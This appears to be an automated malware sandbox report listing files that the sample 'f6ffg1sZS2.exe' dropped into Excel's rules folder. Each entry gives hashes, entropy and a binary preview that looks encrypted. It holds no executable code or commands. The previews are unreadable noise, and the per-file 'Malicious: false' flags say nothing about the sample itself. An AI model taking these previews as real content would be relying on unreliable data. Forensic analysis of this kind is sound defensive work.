Preview:	<?xml^..N...`.G..;"..f..<....$..l].p..`.....e).......Y...7.U.H...R..-.M.f;...'...wMjR......o2^..2........6.j......{G...".a}~.....M"7..y..9w.c..)p.I4..f.....U....^,\|..)Q.".3..k.55...~...C.:.^...]....=._...^...$Q."\| .MM..m.m..m.+#PQ..${..T.aJ...........@1q.0dp.j.l...La..r.........^?'....0.w..O...E.....5.y.).@....'.8......<\...e.9.G.@.]....tjn..k..a......v..P.'...}....iy..2..Yj.......HO..]..XKH.t.D..E..\.}.#.....}>}........c..0..........T...t?.C.......1.{..IE.{.44y...".L..Bba.....%....w...8....+S..~\|.d).....=...\d..EB.O......I......%....&.x..9.o.q.wO$#....+.R....a.../.-......I.D8<..?.$.p6..8TmZ.~......].c. .._0.s..}r.p..m.."WLQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule270012v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	742
Entropy (8bit):	7.657709951919162
Encrypted:	false
SSDEEP:	12:pTnpuSrayLyJmksInhrOqzbCywlzxtVCxowQiwVGfdpwEoaqsS2cii9a:Np1mPm30pOqTUn5Jiw4wHajbD
MD5:	765094A19E2204B016D43FFCB31DC5B2
SHA1:	A5B1C2150FE4CF0FE9BC4B3A2DD5B1A2665BA1CD
SHA-256:	082E9D7A7B6D693965B79B3F177B0198718003951EF19A7F2EA1EB5A3A899F85
SHA-512:	C270525E344754F98AC2C6DB489808A56B7FF5A49C0C6C6D2F3CA5084539E39F0D9E441D74EE5F64EE6D882597E90057ED2EFBD19B89235AF8FD2FECE540B943
Malicious:	false
Preview:	<?xml...1..f...I....#.O~._..m....0.."..I....I.t`..K.G.u.....K%\....$]....B..Ny.up>i.Eh...^....+&.8j.z.....!k..\.A..^f.P...x$F...6.X...u....4.cf.R.....q..../-...u........`X...1...-.w..Ww..z4........)........Q......6......z...>...o..{Z.u..u.y.-w...Y..a[.$..#.A{....)u4.+CrY1vFDv.)>...9!1.i..0...i.3_O....G.....4..b.o...[.!.W~4....{....(....={..........qg.R.....ay._.L..+N.'1...r.xy.xH.....Kqn8...k....mQ.}..v.YD.t...}....;./z.m.G..-.Zo.....J.94ai...D{..#....[&......A....A...L.......P.>..#..t....Y6..fS..L.z<^.c..U..o.. y.I.m.;y[L..?9E......1T.:.l.....\.z......x.Z...G..H.U......#(rl.}..1.'._"....L.-{5...l2.Z}-r........9p.:6LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule270013v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	756
Entropy (8bit):	7.708185222745803
Encrypted:	false
SSDEEP:	12:TaYy12ZrRbrAfhz6Kz0MgDcZ1eHELAypEjGg7p7/MUvz0SCOuxnmGet4t3yS2ciD:eYy12ZrRfahz6Kz0MacZkOpFg7x9zsD2
MD5:	06024DF53BD2C192F812BF1FA2F08177
SHA1:	619D4A56D3909DFA2528EBF82CEE9803F5CD8052
SHA-256:	ACD83A6AA84D6086E4C1BBDA1891D30CBD0EDA9DF8133637D08D94B7A874DFF3
SHA-512:	A89C422FF7BDBB7D365AC90F93CEEF6A422C0CADD423DC580D346E3110D5CBD8F2657F64D0424CF7D2C0C4DB45ED4939E4137F23EC314DCE33E090ABE6CAF7B5
Malicious:	false
Preview:	<?xml;...f-.0.....'W...Z..2.#.~....uL..l......1f<..E...}......,.W'........a(.0QE=\|.^.4..U....i..6......Eda.@...A..lS.?.<Vk........7_>...AF.'..V.B.P.V.......8.{9...E.5%..~..f.....D....Z...f..`..~gE.W.x..Ol._r.8..r.<....!......E......Ie9.D'6.2..(4........#.;WKZ.=`...G.5.w.Y<..]...=bmf.a......cl..S4H..H.jzE=Wy.,...R~wd.......HAe..6.j....dF\|.T........3.6[.q.r.8...5....Vu..,........q....!........{..ZDdu..\|..tz..._.Qz...0..&RG.I..fx-.....O.G.Wo...l...u.C.@.L8w...Y..@(...?.wy.k../{>q.w.#.........s..........f..p...e5g..M.Z......"0.U..:..D5l\D.bwZ.<~w./.J.t...`.z...Q2..-..J....y..h ...E..\:.,...+..Q.@....[.noc..K.o'q7$d.2..I..\.aH.1.....S....8F8...MLQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule270014v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	763
Entropy (8bit):	7.623541136767578
Encrypted:	false
SSDEEP:	12:RVSXT6yBS30VgJ6lUuhvYaNz5wpeiT7OI+PYn6GV6c2q9YndYVEBRQh4CyLbbMR+:RQXXxlUizKpN7OIO8lV6U4ysEqfMYbD
MD5:	AC159EFDDA4EF9DE5CF0D7072CA5AED6
SHA1:	7D9919DE07275CA3F67CC0071AE1BE5163F7C242
SHA-256:	DA7A2290DCE201F1B59BA2155BC41E9A36D0C6D3C437148385BA038BB000552D
SHA-512:	688C678BE63EDF3DEC220D49049776D77DFB16C922DB521FC10B84F13833C6B46E9E4001E4011C71528801B9CF4DA09790E464AB5762DA3878ECBF8FB028FAC3
Malicious:	false
Preview:	<?xml..7..\..@.b\ ..KT...(+..]...a.e......dK..8aqL...ew........{#\|:.k..R.".3h.`@K.O...S..B.H......".K.#..`?.<f .`x.o.........%]............7n.\.b.X.I.dp.n.[C>.p>V&..k..f.....J.]5..]..r..B.`../~.........%...$......"..=.3C.,...@+2+..H..\e.7z2....@,Rw.j..ZsZ...rM.6......",..5..].tA...!......T$b8Z..5.F..RE.z..`...G3.U.w...9.'..[..U....EK...w>.Ep.6s5f`...f@wb...A......4..1.e.:-.H.!..c5Q7..I.t o.x.=iq..8@"z..f..3...Cz..c..K*..Y....0<)gp..~Wc&.4..<....t>...@]\...<.B.@zV.....t=...X..o#..L.=.F>..{..XH.[.......8r.u....O.......+\Kt.e.C3 ,};.'...(.}...p..)..l.2N.K.Y..C'...K<i.....4...4[.B?.s..j...#.Ne..y. \|..<.g....\.t.5.>.3-......z......f....zW..#.bjLQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule270015v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	956
Entropy (8bit):	7.798618735579751
Encrypted:	false
SSDEEP:	12:xHUIjqUVvEc8j5e5Ew85HXrZWSVN0T7/QKL+gS/tWW80NWqZFvuSwiOvXjmuc03q:xHUgVvELEA5HlWSirK80RFGSIXjm04bD
MD5:	82BB900F468A69BF97A946C03F78181C
SHA1:	47DDA74F91D2CD9EE78EF32CFC10452A6701131B
SHA-256:	2617AD3D1453BBDD206FB70C42D1D1969B1445639317C5E14DD6CC677610EB37
SHA-512:	D9EEA4D3803E4C49E0A330E2B8715AD49DCB79C2A7AD52DC6846901B1EE6ED7AC5C0C257416CB65DB48D261C7F04621898E4734C234936419B490762858C3C05
Malicious:	false
Preview:	<?xml.........@..)". ....x...q.Rq.i..k...fF...D.......6.@.0S.....>...x8.1........$..G..U.<r...$..>tSqzB&.[...[H3ill....&.....Pb.\|..\|&1\|.._.L......#..h\..A9.....;...a..\.+..Z<#M.X\|........0K.P.7.s..7.i,ZO./ht.,..i.x.)...].H..'....N...t.\........vG........Z......cX..{@....'\"......... .\|...u..B.Z.....4q.....P....k.........J....(...R.._.3..<<wdN.2.....v9.@].....a..E..Y.......X.w.d......q..=..X..08..a.....4v..[...K/r....g..o..........^...(...N..'...r...8./..I.>.....Y~.DS4...D..A..}..f....J4.8.^.._.....]...... DNm>...GH.....G.O.UR..8...B..I..+....K...6.:.....3+.O.....-.(k............./..V5.....W.g.:......8..,.\.N....^.l....^.D.. S5F..;>i..C(.E.Q.V...z7.G.......)..f....k9.Om.....\|..ux-........:bP.R....9(...GeE.8Q..f.F,sDI~.m.3...hG........O..?....ci.^.e6.....l..).j2I."..@.F1\|..o.Oi..W.R8.KL.............2..=....L="m.LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule270016v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	837
Entropy (8bit):	7.75491162837582
Encrypted:	false
SSDEEP:	24:aRlOfOnLqlqf0t011j6wSiZdXsz86IYbD:aRlDqEM41jhvGD
MD5:	C6F35B8B6F4F89279CB07DEB3F9D3242
SHA1:	1C2AEB67D08C7EDAD58F35648253EB8B8B3DE354
SHA-256:	801BC6E9E7E96DC73A71D2D459B2CBE723C864EBC440BACD54FF4CEBB735840E
SHA-512:	19BE5FA869F3F567645D93308DCC27BD289C024A554283C8941DB57DE68D5E3B447307A46436BC2B59EF7B0CA99133C054A105AFAFB38C1C27E6E973D40273EA
Malicious:	false
Preview:	<?xml........S..Q.......T....Q...Rp....J...d..5....D)..{.6$..{.t.Ei..0....gz....Q`.>.O.........c...Oc.#.......0>..G..%\|n!\Q5...!\|zL. yR..W..E.\./js...w...+..).]_).....>...`...G.].aP.]?..a#......z9....>.....-.._.j.^...m..Nw......bz......{.s.,...&9WT{..z&?Y...a.O:.....G....N'17...............VB...k...YG...h.<.#..iH......2^...[.F..,R...#...38......{...'/...SO........O\|.. ] ..%..u..:..B..I.x..hB@.....q..]..X..%8..0h.Cq{.>.../....A..u@...Zr(.'... m........8wrj.N.B..<%.....[-M.[1.....r..8{...I...aD.u..b.S.7.U..(Qp0.\|zoPt..U.....Y.o...ZK#.f=F....?.aK^M....GJwm.k....w.G.W.Ix.i..U.....0..9>.4.f[....1d.!.....=2...Tg...:5...N<..{.=..<.`.!.7n.]G..._&...l.....h...........C.@U...W.X.L..t.c.</.R.z+7.h2%:...N.$..X.A..LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule270017v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	7.739870308070579
Encrypted:	false
SSDEEP:	24:JLYACk05uqxH/wxiJKNk+683kK2XN1hWDbD:JMAM9wxikh3N2d1h4D
MD5:	B94124C30443DD0E94490BC266EC7D57
SHA1:	B8AC88AB7BF02A31F5378F5B8A07FCCE9B0D3776
SHA-256:	DD56ACA01F4D2427B76143577506E9D8086C7E235B8889780F108D369E6E4F7B
SHA-512:	0BF97DB7502F0FFD9CD7AF189E063CAFBAA4F1E302B17E2B9C6ED076E9816E7002944F5BB80E011793C601597EF3678FF5310E6801EC762414623BE9046B4584
Malicious:	false
Preview:	<?xml"..c.tq.....=.....nB.$...&.k...^.K.o.m.....k.-B....5R,.'...8.....Q........KpuDR.G..eI..Z.m...;.j...P.s...e....B.#-.6...Pd-.sfe...+.5Z.B..{.,.....v.&..t...E.=.7j.ei.U.$Ny.W.....J@..........ashyX.....h~_...G.!....$\|6"?.!.....bX..s2.\..87.]O]....7......_........9...J....._....;.<S.....;..'..L.4-~d...Z..1..G...fs%......y.jU.4...[.i..w`.....K?..............fy).!{.....A...(}...2;..8....<d.sf.~&.....L..+. .,...]L9.....2.#X..J.......:......K~....%;..Q.3....}...4H....Gv..s......qj.......,k..%....J.......m.....R..W...._....q..`..r.z..{... ..$..<...7.0.'.iD5...V....D..L.{q.[..c...}D....9....`..Z..Y..Z....ZX.O;..Z.....W{0. .\bE.,..Q.#1.bf*.Z.wB=9.H(...\|.h.e?.0Nqj.A......5...:.bKh.......M..!5.`...\|\|.s/Ve.n......U.E......)w.f....LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule270018v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	956
Entropy (8bit):	7.791733701542263
Encrypted:	false
SSDEEP:	24:K2NVVHa/jnkkT/KavSpz2/NcWHcHiYSbSNobD:PazN5yYNcWFYSbEyD
MD5:	1732939132B2B416940C6132656467F5
SHA1:	3CE195119D8016EB942CEB1A6D0F81C6331E8DDF
SHA-256:	9433E3421907926D0F81FEDD7FCDC2C5845B83A847A5255EDFCCB0A00F923F03
SHA-512:	BB4C80A5ED5F6769928C0CEC424C69AF2841A67AC322BF2C4968543B0E0BC025B2D288EFB54D74E9E20F6D671FCD4CCE1366DF33D027E7836F1CB83DBB18CE8E
Malicious:	false
Preview:	<?xml),4..;..}+.ih`.....8...Y.)D\|^X.~X.)1,.^..P...T..+...e...v=...w.%.d..1.b..t.........,....T.p...Q...M.......v......o...t.R...9.......o0t..8.....g..^.&.q~....2$.Z7..........3G.e .1.l..A......e......<l5K\|..suiIH.v.B.........s..O.(\.WK..........D&...c.e~.......W......MA...`..........N'.,...-... .r\......bu~}..;.l.-r..a.S.bn..o.>..N..tn...}..v.6...{.Vl.,..y.....o\...g.........<:...fX......zb._d;.I..xL<....j....Q....@rX45.R.o...+].....%f.{..^..S.X....6..#3.$.i)..V5.1..X....n.*.+.1.....4..4U!.6.\|.............}..N9..6.cI....M.=9()._..:E /...9.Fc...'q.........h..43.....n.}......t.Ey........%...MS7.k... a".&...2..CcM.%....p7X.}.7...{x."..#.$.6]..~...........P.V.<...5...".\|.$x.5X.\|..D]\|.ei..1e.....W..n.f..nL(v...%.O.^........'8\|.qP.....L4..9.=..6....i.k..2&...zA..#.ku..%.}h.#..A.J!...P............9T....d.p4.A...kmB..G..F...\LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule270019v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	7.838575246243848
Encrypted:	false
SSDEEP:	24:P0gd2Dz1CaFCs90zFL6kCSh3H80fzeWH8ob8C7hLde/A2YkwxAhbD:P0gssaf90zFLqSh3H80SWH5b8C1ez+eD
MD5:	9FEB92DC4741ED35F312E8E44B6678C7
SHA1:	5F331AB54ECC60318F101CE9AEC9D17D31524AE8
SHA-256:	1C0AE485172842D98910F1778F8EC31500B1C1E409B13E045996B8980F2A5C40
SHA-512:	2E3AD9FBEB9647F4D230256A4C126A91286C9D4DC9A26C7FFCD0A917F1F0ED4B337291586DD23EDE96576EEF4BBDC55D516EF3177D50CB509B33B6B1536428DD
Malicious:	false
Preview:	<?xml...!.u....W...F..x{.'q.{x.V..%...pv....r..6.Tsr.7.......e`..q{...J.....XT.YR..4....n......0...\...{4........7..G{...-....+..ef..C..Y..-.4L..OL...=.=...aSn.g$Q...@g.Q....3..dj..}W..k...XA..m..KW.....w....VJj-.Yq...x..E.".Z^.F.D.....e`...}.`V.ul_.\....g+.c...V;..X.A..qC..ji..q]..5.....-f]...R$../)7...N.{..zQR....i...Q....F..n.....n\|........N.g...M....P.(.....kL..W?;...!....5...........\|.~.TH.cn.+^z.AM.e..=.....W2K..K6....!.P....../L...)...p.]..&....i(.jL....,.x{._Rrz"..ven1...j\|.[.WSN..c.(..vME.%._n.3...M..6>...\.aB.K...Q.M+..Q........b..w...K...!r.aO.....%`.Q\|/c...[..f<R.N1.R.F.[.S..\.,HLry1..'C.H...h...\5...G_.k...!1...~t1..B..............i.B[s.B7q..m....u..O.......I............^U...[...[..4h.cWW._.Z.-.Uh...y....Y)G@....nf....7..mIb.`....w.....z..Eqy O.x.$.SU..2...M].>/f .A...ADI.....Jn..NP#.3..z.....1..O....Z]5G..cP.......o<./..[.B..v.3..s.:...>.5.$Z...[#....Z..<..//.r.i.lN.7.dH..c.0..k..G...`....>V.@.]T....i3....Q..\..Es..Ys.b(..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule310000v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1869
Entropy (8bit):	7.906944924336908
Encrypted:	false
SSDEEP:	48:Pn9cBmfhThxPyVulezRBGQ3j1w4fjpYPa5u07SCuSD:f6Bm1KVhnGQ3jm4rpYPa5X75
MD5:	B29BCC7D2FBBAF90E9134A16F1F29672
SHA1:	36E15D4E3577B253E3EBF1B77F509428AE1B7271
SHA-256:	64C13BF9A0A8A97BE19A0EF3A4B6DAEDD0533372139DE6C2D789A1D0B54C9024
SHA-512:	8CA20CB115413DC54C097AC2437E58F827AD3BD98F90A946AED6CB632A0A3F6078D5186216243A66C22FFC5521C6CF04F6FD17468AED47DF1FEE6A568B189EC1
Malicious:	false
Preview:	<?xml........lA...c7.>.y..0..I%r....3b..q2....M.$E...uu.C;...bCG.1.r\4.8...18.z...jT...&.R..Ta.....dL....].u.6....L.L.......j..............<60.........?.hG5..=.lJ.F^v^.B.9Z........s.R.....6F.u.Ic]..^V._...:!.Lo\|RV.uF.L..i..p..d~..e.B....'.5..N......Y.n...\..@.+.+.E.h....D.`.].....j.aB....^...9..^..#f:...G.m.).."..[..<nQ....$.IQ.'..]H.cC+Yh.r..(..L.d.....,.V....q,F....X&.......@I.<o.L.G.&......GuXc...U$.z{].i......^..0.a.0 .M-...0/......RZC1.;.M.....y....{.?.....74..3.}B..\|:b.!aaO...q.m..P,.A..z....7z...{e5....{.......G.>:f.6N...............oI%...%..t.b..w`o......`..].....K2.....t....?hG.G...,..9.....t._V}.g....n.....7..ZY..@.HoRv6[.....f..e.I1.f..L.W.r .5...e...v...'...Y.)..5.......<......J.8..........L..e.,8.G.....!....n..O~.HRu<...M.-.8.QZ7.C.-..]..i.-.f...t.C..f.~)..BPP)9.........\p.'.H{e.....C.....j3l....h...k.h..cw)K..K...C..S.<R?.r.....i.oXk....D..PJ.Gu._2.r5.(.G.....R..!.......Kr..S.p....e/Q.@#=..&...x..y>8......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule320001v2.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1358
Entropy (8bit):	7.852612188052038
Encrypted:	false
SSDEEP:	24:gsIaokcLsn0f/yntYiRBK1OoIeN99RYkWjAXkrEDVo0UD4JIFZSrEMRBaFbD:Sw0intxR8DI85yskrEhiDFZSrr6D
MD5:	CE8CE47FFABBEA0CB3CC105B8DD1733C
SHA1:	A1D1CF8BDA31705A4556FCCDEA81C8D948867032
SHA-256:	436190CF50291D0E802674E42B937E30DD0A78E10AD0F7C6720880F4693C4264
SHA-512:	BE9909A1B37E72CB1FDCFCDC1C89DB1DAEA96CD7ED58532C6247C84B1E9402C8FABB897D6081728BD202056E18B09920F622F29022FE39D27FC4BC9EE184067C
Malicious:	false
Preview:	<?xmly..{.D.L.....%....3.8...N.{..T....IY\iv.......%..CY.g.#...7.g.\} Zu.z..r...F..rC.{A..'.V......P..).RV,g.,.`.Q...5..}?uu.<...n..;)...d.@.=W.s...Lv....T.a...l.j3.u....h..#4yw\.]....g...,.#WL......T...=?...<..2=Z.O.pq..F....H..L..E\|..I.).a...0:....t..D......T..C.V..D.........C.......q'c.$H.<...B.{@..O.;.yCx.......M".A..h.i.....X..6?.s`.U..E.lc....N.l....`.Ojt..6V.....3R..}s.g.....2.....q.......q.O.....;K.g...P;e)}.v.Y.g}.S..s...;V.eAz..v..5h}D..}6...6t...#.y..n..c....D.:9.(....o>......]X...v.F.W....,.w..MA6T .,79n3.oA..n.?.._...z..RD$..4.'...!...q."..!..RL..N..og......@u.>K._.N..5..m...k..h..%.....!....x_...t.....IZy.B.o#..".Qy.l.$bG..n/.T7.U.wT.I..Y..~.J.m....g.}X%\|9.y..+4.m.........9_......}:]......C.X...#.^...:..pO%#...u...L)...V.]H.-L...]Wf.,...6v.....x...... =...V..M..y....yO..P.h.k".>...3.&.>*..)..j..T.....j..M.c%......I.H.]..[x!.Ta=.&..7g...:.J.#.&.$'.{....nR.J&..}..Y.l&z.+).. @n{h....Q.^....>..R......@.0q...(, ;".D.............8z'

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule320002v5.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1892
Entropy (8bit):	7.896879297424889
Encrypted:	false
SSDEEP:	48:JcbYhLYsbydmjHgQ1mOz8oZgV8+QWlSLRJB6JSeFDhnD:zZ8emu88+QWlSR36JDDhD
MD5:	70A72770E31F896C60A9F9E9D8ED8DAA
SHA1:	761E60293BBF1A34E4A56264BBDFA8EC1FA0B456
SHA-256:	5FDB405A1F81AF9FE2B18F9E754B9CAA69AE202E56C7EEFF4F14E1806E1B34C3
SHA-512:	6B0869E6280774263EEA9DDC65DC260095789CD7F64C843171F4EE85845DBB316CF918782A82714DEF2E8296001BCE9DFA65C3B3F3FDE569D553422A69426FB3
Malicious:	false
Preview:	<?xml...G..o...+6W.R.vm........'m.d@...9.+l.D..7$.3..p....K....s..@....."..6<Lf..+..8z.$..7.a(.............>....2z. .A...I.........W.P....'s..m..a.N#.\|p\,]].d.0..'. ..5P>.5.n.{..../wH......C..z.d.....`fAv_..\..K..._.NpT.....O....'. ,...dM.Y8.. ;.......V. .@X....zRx.p#lCa.k.fr..N.......4[.w.%.j?..w..Q.....AF.L.]..C.0..UT.2.......BQ..~".A.....'].h/.(IV..c..d.y.Xp..E..;..O@.......\8.....P\|.....?`.....{.........5;....X..Z..}...mr..{^:t.......E..k...?<ph.@.....R..L..........7F.......gsIz..,..hf>"...._...2..qh&...[.]a..n...z. {..xA....C9..R.gO.a..B.0.*...C..i.6.n.....z..N.\..t.'...b.~z.....-.;..nF..u..+...e.....$....-...)k(...s.........=..fS/NH..%f.C(w...'.<K.2b...p.T.....g.....Z4}...W.f.a...<..W}...KJ.8./Y...".._9.......}.xk.?.[i.;.V..,.;.yE......r..1..Rq..R.e0H..v.]?2.....mL:h.....5...4...D.2 ..t.....7`:y....L.f.l......00<>.........pFQS..C.T..b4.f...v,O.Aa.....%...>.........u&.LV.k.?2.....yJ.......<.....-^3 S..5./NhP..ib.}..S.DZ.f.}j6

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule320003v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1144
Entropy (8bit):	7.808067850363141
Encrypted:	false
SSDEEP:	24:cgnfI4dPFXtUWEh3dFalRCaIlHUWtCtBER8rJkctbxX3AtJobD:1dUv3bcIaGFtCoR8rJkcLX3AqD
MD5:	485DB94FDFD12BAD467B788B5F221442
SHA1:	521292AC706A539DCFDE8F4071C1FCB55AE3EED7
SHA-256:	66D6C0E2C3DDFBD97F3173F3EB0B78B9D9EB35AB80F43C44B1EABFCA94695183
SHA-512:	88D7F5BF3E80195DD432CFC4A020D04A50E5E14492B333DDB1442DFFFFB1E6D8640444F4C21ACECAC22C316936793CB598AE3953D2CD8EE1BFE72246897F2F69
Malicious:	false
Preview:	<?xml....YV...i...G..XIs...J.B.=p....h.r.xNK;...~..S..J..mJ..}....d..}.\|...@...z<,.J.=....T... ..<0..AXF!..+......}_..S.&\.R..GV..P..5}>.Nyn.nDJ.k..."..^.....s.......KVJ..vPJ.]2...9.Lg0.^.b..\|.\|}9....Z.P..Bt..Gv..2..8..O~....~@..2.e.)H..g.._.H....Y.^..Rr....J..J....JC....r....:...B)..e..k.......F.g..m.0..X..U_...=...a.=..!....ic.....o.....-.r4..x.U....&..Y.....H.3.Jb[.J.<.Y5T.}N7yj.....J.B..i.>...M:....WC.A.]..\|9.~..AZ......;.6].!u..~\..M..<..}..ae..*I...D%.C........{4..x...D.....'....M?..../..%.&.:.G#.Z...@.@.....F2~.-.....:W.iJ.....N.X.d.W......f6..Z.K....=.d!...a^..D?..)fc!............e...g..B......UW:.kP..Y....I.WR.Ru.f..U.x.....,.:.....xp%...,?;X..b..CI.....PU.R'.%.o.d..,.]...(C4{.aG~........'.,.{....v._....&.0Ln.a.=..-.+.l.{..F....E.[=...3.-..]..)....Ace.N...:'.lj...U.......0.F.(]...{.!..E.Y.\..3~..nh<..x._.H.J....W.pSl5.......!,S......yBN7.Zf.)F...^....._R....}...2........=u...D.z.J...V.+..?..o.....A0f1.d...x.`...`.#.u.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule320004v6.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1967
Entropy (8bit):	7.9059167612243595
Encrypted:	false
SSDEEP:	48:7i2kudbi7r5kVIq1CPcTuoWJ8p5Wwk0apeD:Ka+PiVIqzqyg30Ym
MD5:	345339B6BE38AECE7D4096BC644456A3
SHA1:	9D533ABC16AE8A97B9E00888992DCAF0FCCA5E49
SHA-256:	73159BCE056C2913F25481A887088733CC9BDE3A8545C32685429E2D085E8190
SHA-512:	491AFA7C82419F6432CFB73E45E2547D166ADAEF27B6A0AF2C8EEBAAC37591CA11A466FCB03D6F72EC32DBF819F817D1F796F5F4229136A623DA495AA8276A04
Malicious:	false
Preview:	<?xmlY.i....a.<?..HM...:.<...x@.J..g.d.Tu..m..C...U,.P.........6N5$f.d.U...G...;\|.Y!~.FN..M$...FE.......\...w..<tS{<.w.........^lu.....X..x.1....h=...9x.L....$..&......J....=3&.\|.f...c=.......^.-...X..]l.$..f,..K8+...h`.....].x.....3.....X.R..G...TkFU......$.....6v.)W3.J.W...I...L4)..&>..(7\.wp..B.'.w..Y_. yb..Nj.8.,...%....nuE]v...........N....[.........T.3. ....O.'.,........<..0.Lp.......i....C#....Vyo.....:.Q....v...b...3..N].....~+.}/..sN.......).C@.....o.8....Z.K2.L.+.$..\...mu?..k(Z8.Y...@i.v..~....{t..........@............$........N.T.-.M.G(J....!l!......eJ..#{%...."O...L.h.]...6=...qh2R..n.W.........it\..mo.w......1.....<..\|.~{x\|.k......Z......Xz....-.q-U_F?..G..e)n.5..0.-.....+...;..z.\|..9. .RB..h....8.9F..&.V...Z......(.....`],.....KJ-..R...KM...u.....#c..)...~...Y...s.[......r.........Ci%.\|..gV..\|..f..K........8ic.K.{..A}.$..7.G..{......k2.(.......f.^wW.........4...z..w.......H.{&...1c'$8...V+...]...../.....p....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule320005v4.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1427
Entropy (8bit):	7.859449984386404
Encrypted:	false
SSDEEP:	24:wAX0WewgiEBExZGO88TU80n2D0ZqFRWn9tNTognUqfuIdwiqEu2ufLYV8t1ItZds:wSpSjEWr8YDZquDNTomZfNqEu2hV8t6y
MD5:	40B6DB60A5438C52D7196506349FC930
SHA1:	ABCDA31212CF6F707C766DC6639D5AC9A9C54FCE
SHA-256:	8586C1F04355208B8757B4ABD6235C22D45A7747F4617A3304B6BB6C63CDF3FE
SHA-512:	1E1E44786CBD04346E3E81E40C225AE8E344A32DCB83ACA152A657283EE7917DADC253BD52CD3BCCE657A3D392FDBC4597CDABF53D1885E1D1082EEDC8E6AB4E
Malicious:	false
Preview:	<?xml0G.m......;..?.G]..q.x..6-O".v..2...NT;.^...;.b.6.,D..G...r..U.O[E&..m...Z...=..j....t=-9W........w.....`..vu..PI:.L]r.?.....?.....G.\..'Z-dO%....v....JQ...X.}3.%&..p...`....m.f....Ws.wE.....c.]..&....................-Y.{..4....P.s...g).t@...7Z."....v6...V...5..fn$.&.1.iE.!..M.#......).......S..It...?.toZ...z.Gkl....0.../.....-..a......I.Q.z.`s}J.....mK.F.p{g.].d......@.y.i......^\|......S~G..e..j.)....>....^r.aJ..2...6}B.LSAg(.E..b.-!q/..Q.g...,.T.Lf.y..E...&.b.(...;.tv....#..Y$EL....;+....O.x........O....&_4.$7]b......i9<.m.....I.%..5..."..".'.\..._..".2V..s.-..O.r.IG..9....u../7c3...!.78V$+..4.K%..r.......6..te7S......y........0....'......"T.[ w'7.o.7...Y..q........t.L".b..B...q....sz8$y....gE...M...aT.T/...F..u.....\.@N"...7Sp...s.#.....[....Z.[..!.9.N.NMZ.u...-)9... .r.e.......7y..Qqw...\|.G.....(.e.....rqX3..l..J.8.......d.a~.d..YV..F.J&e.2...o....]..M...?9...g......)z..FC..W.h.{.....^.Cx..w.W8.wPym.....v8..y.:N.....`?

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule320006v2.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1528
Entropy (8bit):	7.862575518494566
Encrypted:	false
